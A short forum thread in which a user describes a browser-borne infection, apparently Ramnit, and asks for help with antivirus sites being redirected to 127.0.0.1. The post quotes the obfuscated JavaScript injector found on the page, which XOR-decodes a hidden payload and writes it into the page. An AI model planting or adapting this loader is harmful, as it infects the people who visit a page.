Javascript Firefox Virus - Ramnit?

[lookitsjonno]

Yesterday firefox allowed a virus to be installed through some Javascript embedded on a page (below), dispite having Avira and Security Essentials installed. Security essentials after a full scan did however remove it, but with great inconvenience.

How on earth did this happen

Secondly, traffic to antivirus sites is being redirected to 127.0.0.1, but my HOSTS file is clean? anywhere else I can look?

<script language='javascript'>var ewjiRNjmidvKoG='';WIMAZQPMxKxqknA='iHEcfS';var IqffjkAHo='jpwfEKWZbKHJzegTnSUTESWQujKdnRjXXQ';ylHHsiYQHIaPXHLWv='iyfGL';var upReKQvtmF=0;urNBMhiClQJSn='gkpWdT';var DsUUJQDkuAybtumCCfF='%4C%1E%66%37%2A%3A%3F%42%38%3A%29%47%47%0F%20%1A%23%6F%7B%6A%3D%32%23%58%0B%27%08%0B%20%44%37%2A%36%45%19%19%48%26%2C%3E%65%06%2E%2E%2B%0F%09%13%76%4E%35%27%35%28%36%35%3E%07%0E%2E%16%53%70%5A%7A%78%22%09%02%18%0A%29%22%39%3D%5F%69%26%25%58%45%0F%31%07%34%3D%20%78%71%66%73%55%1D%22%64%1A%3A%57%7A%69%73%4A%18%04%16%24%28%32%67%40%7A%6A%6A%0C%16%17%35%0D%36%68%76%74%71%77%3C%14%18%2C%0D%6E%25%03%3C%2C%39%57%52%47%44%65%26%36%28%05%22%26%22%1F%0C%67%3C%1A%6E%77%64%67%6D%6B%7E%1C%0C%39%05%03%37%54';tNZgZLbHExemhLK='GvZXxXwSSrDHywfWW';var YosCfDQXijJkMDP=DsUUJQDkuAybtumCCfF.length/3;IlZBYHGeUUNDJLapsbsm='SURgNCIJhZhmPmoyBDXNNx';DsUUJQDkuAybtumCCfF=unescape(DsUUJQDkuAybtumCCfF);UIvEdENLdScmkQKUjk='eKyjZLHyD';for(DeuIEsJXCIMaxHgXxVtwZs=0;DeuIEsJXCIMaxHgXxVtwZs<YosCfDQXijJkMDP;DeuIEsJXCIMaxHgXxVtwZs++){upReKQvtmF++;if(IqffjkAHo.length<=upReKQvtmF) upReKQvtmF=0;WszHMY=DsUUJQDkuAybtumCCfF.charCodeAt(DeuIEsJXCIMaxHgXxVtwZs); TrTgSjVLBgEHcZODeO='wcoYzlwCqQIWyrkzdORhfQC'; if(IqffjkAHo.charCodeAt(upReKQvtmF)!=WszHMY) WszHMY^=IqffjkAHo.charCodeAt(upReKQvtmF); goZMVdrRqfaRiXWfZEQdMeBo='SzEhKIQFgWMaqrCXm';ewjiRNjmidvKoG+=String.fromCharCode(WszHMY);} MJiRsETaWCMkbvgczphog='EtrwuSVKPLZg';document.write(ewjiRNjmidvKoG);nfKvvuWAHwGmawGVlLAHNHSOq='uqzMywr';</script>

 

[lookitsjonno]

I checked out the plugins and it seems the version of flash had vulnerabilities, nice of firefox to tell me that isn't it

I can't think to imagine how the poor computer illiterate soles of the country get on.